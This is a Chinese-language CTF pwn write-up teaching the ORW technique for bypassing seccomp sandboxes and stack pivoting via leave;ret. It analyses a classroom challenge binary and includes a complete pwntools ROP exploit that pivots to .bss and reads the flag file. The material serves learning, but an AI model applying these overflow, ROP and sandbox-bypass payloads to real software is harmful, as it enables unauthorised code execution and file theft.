ORW (Open-Read-Write)策略&栈迁移

冷たいその手 君のせいじゃない。

ORW

参考&引用:

https://xz.aliyun.com/news/12233

https://www.cnblogs.com/falling-dusk/p/18101528

ORW (Open-Read-Write) 策略:调用 open 打开 flag 文件,调用 read 读取内容,调用 write 将内容打印到屏幕。

也就是想办法构造这些命令:

1
2
3
open("flag")   
read(3, "buf", 0x100) // fd为3,表示从文件中读取
write(1, "buf", 0x100) // 标准输出

另外也不限于这几个函数,只要能达到绕过沙箱读取文件内容并且输出,应该可以随便组合(write换puts啥的)

沙箱保护

沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP的方式获取flag

在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。

ROP链的ORW

寄存器和参数的对应关系:

1
2
open(rdi-->file_addr,rsi-->oflag)
read/write(rdi-->fd,rsi-->buf,rdx-->s_nbytes)

mmap()函数

没碰到所以纯引用了 呆

一般这种ORW题目给出的溢出大小不够我们写入很长的ROP链的,因此会提供mmap()函数,从而给出一段在栈上的内存

使用mmap申请适合4byte的寄存器的地址

mmap()函数原型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *mmap{
void *addr; //映射区首地址,传NULL
size_t length; //映射区大小
//会自动调为4k的整数倍
//不能为0
//一般文件多大,length就指定多大
int prot; //映射区权限
//PROT_READ 映射区必须要有读权限
//PROT_WRITE
//PROT_READ | PROT_WRITE
int flags; //标志位参数
//MAP_SHARED 修改内存数据会同步到磁盘
//MAP_PRIVATE 修改内存数据不会同步到磁盘
int fd; //要映射文件所对应的文件描述符
off_t offset; //映射文件的偏移量,从文件哪个位置开始
//映射的时候文件指针的偏移量
//必须是4k的整数倍
//一般设为0
}
mmap
addr 要申请的地址 建议四位
length 从addr开始申请的长度 建议一页0x1000
prot 权限 7
flags 确定映射的更新是否对其他进程可见 0x22
fd 映射到文件描述符fd 0xFFFFFFFF
offset 映射偏移 NULL

栈迁移

参考&引用:

https://www.cnblogs.com/max1z/p/15299000.html(图很清楚,还讲了栈溢出,请看)

https://blog.csdn.net/Palpitate_LL/article/details/154949680 (哦这个图也好)

打栈溢出的时候发现栈上没有足够的空间写shellcode的时候,可以使用栈迁移,将栈搬到别的地方去(将栈指针搬到别的地方去),然后在那个空间写shellcode。

严肃一点说:劫持rsp寄存器指向攻击者可以布置shellcode的内存地址

劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret

除此之外,能控制rsp或者rbp的应该都行(pwn✌️说的)

leave; ret

复习一下leave和ret的含义

1
2
3
4
5
leave:
mov rsp, rbp
pop rbp
ret:
pop rip

执行leave; ret过程中栈的变化:

image-20260330194707066

可以看到在执行完leave指令后rsp寄存器指向了返回地址。所以想要让rsp指向目的地址的话,只需要通过栈溢出将rbp篡改,rsp也会被篡改。在这个目的地址处再布置需要的rop gadget,就能解决栈空间不足的问题

两次leave将rsp劫持到任意地址:

image-20260330195534002

具体来说,设要转移的地址为TargetAddr,使用栈溢出将saved rbp处覆盖为TargetAddr-8(64位,32位是-4),将ret处覆盖为LeaveRetAddr(另一组 leave ret 的地址)。然后返回时:

1
2
3
4
5
6
7
8
9
10
leave1:
mov rsp, rbp ; [rsp] = TargetAddr-8, [rbp] = TargetAddr-8
pop rbp ; [rsp] = LeaveRetAddr, rbp = TargetAddr-8
ret1:
pop rip ; rip = LeaveRetAddr
leave2:
mov rsp, rbp ; rsp = TargetAddr-8, rbp = TargetAddr-8
pop rbp ; rsp = TargetAddr, rbp = *(TargetAddr-8,)
ret:
pop rip ; rip = *TargetAddr

在第二次leave时成功将rsp转移到了目标上

使用栈迁移的必要条件

  1. 存在可以劫持程序流和控制rbp/rsp寄存器的漏洞
  2. 攻击者可以确定准确某一块具有读写权限的地址(常用bss段)
  3. 存在leave ret 这类gadget指令

payload大概长这样

就是传参方式的区别

64位

1
2
3
4
5
6
payload1 = b'a' * 0x100 + p64(bss_base) 
payload1 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_base) + p64(0) + p64(read_plt) # read(0, bss_base),从标准输入读取payload2存入bss_base
payload1 += p64(leave_ret) # 转移rsp到bss_base
p.sendline(payload1)

payload2 = p64(bss_base + 0x100) # pop到rbp,这里选一个合理一点的栈底

32位

1
2
3
4
5
payload1 = b'a' * 40 + p32(bss_addr) 
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) += p32(0x400) # read(0, bss_addr, 0x400)
p.sendline(payload1)

payload2 = p32(bss_addr + 0x400) # ebp

这是一道课堂练习ROP题

x64

main函数,有个沙箱,然后主要逻辑是判断输入,4919到vuln(),9011到some_gifts()

1
2
3
4
5
6
7
8
9
10
11
12
13
install_seccomp(argc, argv, envp);
...
__isoc99_scanf("%d", &n9011);
if ( n9011 == 4919 )
{
vuln();
}
else
{
if ( n9011 != 9011 )
_exit(1);
some_gifts();
}

vuln,有溢出。缓冲区大小0x100,读0x150,有0x50空间溢出

1
2
3
4
5
6
ssize_t vuln()
{
_BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

return read(0, buf, 0x150u);
}

some_gifts,读取./gifts.txt的内容,输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t some_gifts()
{
_BYTE s[16]; // [rsp+0h] [rbp-1010h] BYREF
int fd; // [rsp+100Ch] [rbp-4h]

fd = sys_open("./gifts.txt", 0);
memset(s, 0, 0x1000u);
if ( read(fd, s, 0x1000u) < 0 )
{
puts("read error");
_exit(1);
}
return write(1, s, 0x1000u);
}

main 函数开头调用了 install_seccomp。这题的沙箱就是用的prctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall install_seccomp(int argc, const char **argv, const char **envp, __int64 a4, __int64 a5, __int64 a6)
{
int result; // eax
__int64 v7; // [rsp+0h] [rbp-10h] BYREF

LOWORD(v7) = 15;
if ( prctl(38, 1, 0, 0, 0, a6, v7, &filter_3753) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
_exit(2);
}
result = prctl(22, 2, &v7);
if ( result < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
_exit(2);
}
return result;
}

用seccomp-tools dump ./rop查看沙箱规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0014
0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013
0005: 0x15 0x07 0x00 0x00000101 if (A == openat) goto 0013
0006: 0x15 0x06 0x00 0x000001b5 if (A == 0x1b5) goto 0013
0007: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0013
0008: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0013
0009: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0013
0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013
0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013
0012: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL

只有列出的这些指明了是allow还是kill(架构不符合),默认处理方式是ERRNO(5)(所以大概是白名单策略,默认拒绝)

所以不能通过/bin/bash和execve这些,可以用ORW

思路

基本思路就是open flag,read,write。这题因为栈空间不足还需要栈迁移,就在前面加一个迁移,迁移到bss段去写shellcode。然后还有一个问题是open打开文件需要的字符串(./flag)在程序里没有,所以要用read写入一个

最后要调用的函数及参数如下:

  1. read(0, bss_base),从标准输入读取payload2存入bss_base
  2. leave ;ret把rsp转移到bss_base,执行权转到payload2
  3. read(0, flag_str_addr)从标准输入读取到./flag字符存到flag_str_addr
  4. open(flag_str_addr, 0),打开flag文件
  5. read(3, flag_addr),从文件描述符3读取flag内容到flag_addr
  6. puts(flag_addr),将flag内容写到标准输出

调完exp之后:

好多东西不写不知道啊。

为什么不用设置read的长度(rdx的值):是利用了寄存器的残余值,read跑完之后rdx还是0x150,够用(以及没有rdx的gadget,虽然非要整应该也不是不行)(以及笛子神说这是一个可以压缩rop链子长度的小trick)

为什么不用write用puts:俺不知道。好像write得设rdx还是怎么,听说不好搞。反正puts更方便

原来还要设一个rbp的值,前面学ORW理论知识的时候看大佬说要跳到目标地址-8,其实也就是因为有一条pop rbp会使rsp+8,如果不用-8这个方法,改在payload里写入rbp的值感觉还更有用,这样就可以完全自定义栈空间了()设这个值也是有讲究的,不要破坏别人的空间以及够自己代码用,大概这样

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context(arch="amd64",os="linux",log_level="debug")
# context.terminal = ["tmux", "splitw", "-h"]
context.terminal = ["tmux", "new-window"]

file_path = './rop'
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(file_path)
# p = remote('124.16.75.116', 52005)
# gdb.attach(p,"b *0x4013AE")

# --- Gadgets ---
pop_rdi = 0x401503
pop_rsi_r15 = 0x401501
leave_ret = 0x4012c7
bss_base = elf.bss() + 0x800 # 选一个干净的 BSS 地址 0x404000+0xc00
flag_addr = bss_base + 0x500 # 存flag的位置
flag_str_addr = bss_base + 0x600 # 存"./flag\x00"字符串的位置
open_plt = 0x4012C9
read_plt = elf.plt['read']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']

p.recvuntil(b'your choice:')
p.sendline(b'4919')

payload1 = b'a' * 0x100 + p64(bss_base)
payload1 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_base) + p64(0) + p64(read_plt) # read(0, bss_base),从标准输入读取payload2存入bss_base
payload1 += p64(leave_ret) # 转移rsp到bss_base
p.sendline(payload1)

payload2 = p64(bss_base + 0x100) # pop到rbp,这里选一个合理一点的栈底
payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(flag_str_addr) + p64(0) + p64(read_plt) # read(0, flag_str_addr)从标准输入读取到`flag`字符存到flag_str_addr
payload2 += p64(pop_rdi) + p64(flag_str_addr) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open_plt) # open(flag_str_addr, 0),打开flag文件
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(flag_addr) + p64(0) + p64(read_plt) # read(3, flag_addr),从文件描述符3读取flag内容到flag_addr
# payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(flag_addr) + p64(0) + p64(write_plt) # write(1, flag_addr),将flag内容写到标准输出
payload2 += p64(pop_rdi) + p64(flag_addr) + p64(puts_plt)
pause()
p.sendline(payload2)

pause()
p.sendline(b'./flag\x00')

p.interactive()

最后,没有远程环境了只能自己建个flag文件打打本地了。大概没问题吧

image-20260331215742304

more

pwn✌️说这题也可以打多次ret2csu